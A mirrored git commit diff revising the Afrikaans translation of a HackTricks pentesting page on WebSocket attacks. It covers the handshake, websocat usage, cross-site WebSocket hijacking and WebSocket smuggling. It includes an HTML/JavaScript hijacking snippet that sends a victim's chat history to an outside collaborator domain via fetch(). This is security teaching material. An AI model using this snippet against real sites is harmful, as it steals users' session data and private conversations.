mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/websocket-attacks.md'] to af
This commit is contained in:
parent
c2d114b67f
commit
28fa01c23b
@ -1,22 +1,22 @@
|
||||
# WebSocket Aanvalle
|
||||
# WebSocket-aanvalle
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Wat is WebSockets
|
||||
|
||||
WebSocket verbindings word gevestig deur 'n aanvanklike **HTTP** handdruk en is ontwerp om **langdurig** te wees, wat bidireksionele boodskappe op enige tyd moontlik maak sonder die behoefte aan 'n transaksionele stelsel. Dit maak WebSockets veral voordelig vir toepassings wat **lae latensie of bediener-geïnisieerde kommunikasie** vereis, soos lewendige finansiële datastrome.
|
||||
WebSocket-verbindinge word gevestig deur 'n aanvanklike **HTTP** handdruk en is ontwerp om **langdurig** te wees, wat bidireksionele boodskappe op enige tyd moontlik maak sonder die behoefte aan 'n transaksionele stelsel. Dit maak WebSockets veral voordelig vir toepassings wat **lae latensie of bediener-geïnisieerde kommunikasie** vereis, soos lewendige finansiële datastrome.
|
||||
|
||||
### Vestiging van WebSocket Verbindings
|
||||
### Vestiging van WebSocket-verbindinge
|
||||
|
||||
'n Gedetailleerde verduideliking oor die vestiging van WebSocket verbindings kan [**hier**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) verkry word. In samevatting, WebSocket verbindings word gewoonlik geïnisieer via kliënt-kant JavaScript soos hieronder getoon:
|
||||
'n Gedetailleerde verduideliking oor die vestiging van WebSocket-verbindinge kan [**hier**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) verkry word. In samevatting, WebSocket-verbindinge word gewoonlik geïnisieer via kliënt-kant JavaScript soos hieronder getoon:
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||
```
|
||||
Die `wss` protokol dui 'n WebSocket-verbinding aan wat met **TLS** beveilig is, terwyl `ws` 'n **onbeveiligde** verbinding aandui.
|
||||
|
||||
Tydens die verbindingseestelling word 'n handdruk tussen die blaaiers en die bediener oor HTTP uitgevoer. Die handdrukproses behels dat die blaaiers 'n versoek stuur en die bediener antwoordgee, soos in die volgende voorbeelde geïllustreer:
|
||||
Tydens die verbindingsevaluering word 'n handdruk tussen die blaaiers en die bediener oor HTTP uitgevoer. Die handdrukproses behels dat die blaaiers 'n versoek stuur en die bediener antwoordgee, soos in die volgende voorbeelde geïllustreer:
|
||||
|
||||
Blaaiers stuur 'n handdrukversoek:
|
||||
Blaaier stuur 'n handdrukversoek:
|
||||
```javascript
|
||||
GET /chat HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -26,31 +26,31 @@ Connection: keep-alive, Upgrade
|
||||
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||||
Upgrade: websocket
|
||||
```
|
||||
Server se handdruk antwoord:
|
||||
Die bediener se handdrukrespons:
|
||||
```javascript
|
||||
HTTP/1.1 101 Switching Protocols
|
||||
Connection: Upgrade
|
||||
Upgrade: websocket
|
||||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
```
|
||||
Die verbinding bly oop vir boodskapswisseling in beide rigtings sodra dit gevestig is.
|
||||
Die verbinding bly oop vir boodskapuitruiling in beide rigtings sodra dit gevestig is.
|
||||
|
||||
**Belangrike Punten van die WebSocket Handshake:**
|
||||
|
||||
- Die `Connection` en `Upgrade` koptekste dui die begin van 'n WebSocket-handshake aan.
|
||||
- Die `Sec-WebSocket-Version` kopteks dui die verlangde WebSocket-protokolweergawe aan, gewoonlik `13`.
|
||||
- 'n Base64-gecodeerde ewekansige waarde word in die `Sec-WebSocket-Key` kopteks gestuur, wat verseker dat elke handshake uniek is, wat help om probleme met kasproxies te voorkom. Hierdie waarde is nie vir outentisering nie, maar om te bevestig dat die antwoord nie deur 'n verkeerd geconfigureerde bediener of kas gegenereer is nie.
|
||||
- Die `Sec-WebSocket-Accept` kopteks in die bediener se antwoord is 'n hash van die `Sec-WebSocket-Key`, wat die bediener se bedoeling om 'n WebSocket-verbinding te open, verifieer.
|
||||
- Die `Connection` en `Upgrade` headers dui die begin van 'n WebSocket handshake aan.
|
||||
- Die `Sec-WebSocket-Version` header dui die verlangde WebSocket protokolweergawe aan, gewoonlik `13`.
|
||||
- 'n Base64-gecodeerde ewekansige waarde word in die `Sec-WebSocket-Key` header gestuur, wat verseker dat elke handshake uniek is, wat help om probleme met kasproxies te voorkom. Hierdie waarde is nie vir outentisering nie, maar om te bevestig dat die antwoord nie deur 'n verkeerd geconfigureerde bediener of kas gegenereer is nie.
|
||||
- Die `Sec-WebSocket-Accept` header in die bediener se antwoord is 'n hash van die `Sec-WebSocket-Key`, wat die bediener se bedoeling om 'n WebSocket-verbinding te open, verifieer.
|
||||
|
||||
Hierdie kenmerke verseker dat die handshake-proses veilig en betroubaar is, wat die pad baan vir doeltreffende regstreekse kommunikasie.
|
||||
|
||||
### Linux-konsol
|
||||
### Linux console
|
||||
|
||||
Jy kan `websocat` gebruik om 'n rou verbinding met 'n websocket te vestig.
|
||||
```bash
|
||||
websocat --insecure wss://10.10.10.10:8000 -v
|
||||
```
|
||||
Of om 'n websocat-bediener te skep:
|
||||
Of om 'n websocat bediener te skep:
|
||||
```bash
|
||||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||
```
|
||||
@ -74,6 +74,11 @@ Jy kan die **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) dit is 'n **web om te kommunikeer** met ander webs deur middel van **websockets**.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) onder andere tipes kommunikasies/protokolle, bied dit 'n **web om te kommunikeer** met ander webs deur middel van **websockets.**
|
||||
|
||||
## Ontsleuteling van Websocket
|
||||
|
||||
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
|
||||
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
|
||||
|
||||
## Websocket Laboratorium
|
||||
|
||||
In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) het jy 'n kode om 'n web te begin met websockets en in [**hierdie pos**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) kan jy 'n verduideliking vind.
|
||||
@ -82,13 +87,13 @@ In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur
|
||||
|
||||
**Cross-site WebSocket kaping**, ook bekend as **cross-origin WebSocket kaping**, word geïdentifiseer as 'n spesifieke geval van **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** wat WebSocket handdrukke beïnvloed. Hierdie kwesbaarheid ontstaan wanneer WebSocket handdrukke slegs via **HTTP koekies** outentiseer sonder **CSRF tokens** of soortgelyke sekuriteitsmaatreëls.
|
||||
|
||||
Aanvallers kan dit benut deur 'n **kwaadaardige webblad** te huisves wat 'n cross-site WebSocket verbinding met 'n kwesbare toepassing inisieer. Gevolglik word hierdie verbinding as deel van die slagoffer se sessie met die toepassing behandel, wat die gebrek aan CSRF beskerming in die sessie hanteringsmeganisme benut.
|
||||
Aanvallers kan dit benut deur 'n **kwaadaardige webblad** te huisves wat 'n cross-site WebSocket verbinding met 'n kwesbare toepassing inisieer. Gevolglik word hierdie verbinding as deel van die slagoffer se sessie met die toepassing behandel, wat die gebrek aan CSRF-beskerming in die sessiehanteringsmeganisme benut.
|
||||
|
||||
### Eenvoudige Aanval
|
||||
|
||||
Let daarop dat wanneer 'n **websocket** verbinding **gestig** word, die **koekie** na die bediener **gestuur** word. Die **bediener** mag dit gebruik om elke **spesifieke** **gebruiker** met sy **websocket** **sessie gebaseer op die gestuurde koekie** te **verbind**.
|
||||
|
||||
As die **websocket** **bediener** **terugstuur die geskiedenis van die gesprek** van 'n gebruiker as 'n boodskap met "**READY"** gestuur word, dan sal 'n **eenvoudige XSS** wat die verbinding tot stand bring (die **koekie** sal outomaties **gestuur** word om die slagoffer gebruiker te magtig) **stuur** "**READY**" in staat wees om die geskiedenis van die **gesprek** te **herwin**.
|
||||
As die **websocket** **bediener** **die geskiedenis van die gesprek** van 'n gebruiker terugstuur as 'n boodskap met "**READY"** gestuur word, dan sal 'n **eenvoudige XSS** wat die verbinding tot stand bring (die **koekie** sal **automaties** gestuur word om die slagoffer gebruiker te autoriseer) **wat** "**READY**" **stuur**, in staat wees om die geskiedenis van die **gesprek** te **herwin**.
|
||||
```html
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
@ -105,7 +110,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
```
|
||||
### Cross Origin + Cookie with a different subdomain
|
||||
|
||||
In hierdie blogpos [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) het die aanvaller daarin geslaag om **arbitraire Javascript in 'n subdomein** van die domein waar die web socket kommunikasie plaasgevind het, te **voer**. Omdat dit 'n **subdomein** was, is die **cookie** **gestuur**, en omdat die **Websocket nie die Origin behoorlik nagegaan het nie**, was dit moontlik om met dit te kommunikeer en **tokens van dit te steel**.
|
||||
In hierdie blogpos [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) het die aanvaller daarin geslaag om **arbitraire Javascript in 'n subdomein** van die domein waar die web socket kommunikasie plaasgevind het, te **voer**. Omdat dit 'n **subdomein** was, is die **cookie** **gestuur**, en omdat die **Websocket nie die Oorsprong behoorlik nagegaan het nie**, was dit moontlik om met dit te kommunikeer en **tokens daarvan te steel**.
|
||||
|
||||
### Stealing data from user
|
||||
|
||||
@ -144,7 +149,7 @@ Aangesien Web Sockets 'n mekanisme is om **data na die bediener- en kliëntkant
|
||||
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
Hierdie kwesbaarheid kan jou toelaat om **omgekeerde proxybeperkings te omseil** deur hulle te laat glo dat 'n **websocket kommunikasie gevestig is** (selfs al is dit nie waar nie). Dit kan 'n aanvaller toelaat om **verborgene eindpunte te benader**. Vir meer inligting, kyk na die volgende bladsy:
|
||||
Hierdie kwesbaarheid kan jou toelaat om **omgekeerde proxybeperkings te omseil** deur hulle te laat glo dat 'n **websocket kommunikasie gevestig is** (selfs al is dit nie waar nie). Dit kan 'n aanvaller toelaat om **verborgene eindpunte te benader**. Vir meer inligting, kyk die volgende bladsy:
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
|
Loading…
x
Reference in New Issue
Block a user